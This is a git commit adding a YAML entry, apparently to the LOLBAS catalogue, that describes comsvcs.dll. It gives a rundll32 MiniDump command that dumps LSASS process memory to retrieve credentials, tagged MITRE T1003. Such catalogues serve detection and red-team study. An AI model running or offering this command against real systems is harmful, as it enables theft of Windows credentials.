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Add Comsvcs.yml: dump lsass via signed DLL.

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plowsec 2019-08-30 14:12:46 +02:00 committed by GitHub
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yml/OSLibraries/comsvcs.yml Normal file
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---
Name: Comsvcs.dll
Description: COM+ Services
Author:
Created: '2019-08-30'
Commands:
- Command: rundll32 C:\windows\system32\comsvcs.dll MiniDump "[LSASS_PID] dump.bin full"
Description: Calls the MiniDump exported function of comsvcs.dll, which in turns calls MiniDumpWriteDump.
UseCase: Dump Lsass.exe process memory to retrieve credentials.
Category: Dump
Privileges: SYSTEM
MitreID: T1003
MItreLink: https://attack.mitre.org/wiki/Technique/T1003
OperatingSystem: Windows
Full_Path:
- Path: c:\windows\system32\comsvcs.dll
Code_Sample:
- Code: https://modexp.wordpress.com/2019/08/30/minidumpwritedump-via-com-services-dll/
Detection:
- IOC:
Resources:
- Link: https://modexp.wordpress.com/2019/08/30/minidumpwritedump-via-com-services-dll/
Acknowledegment:
- Person: modexp (modexp.wordpress.com)
Handle:
---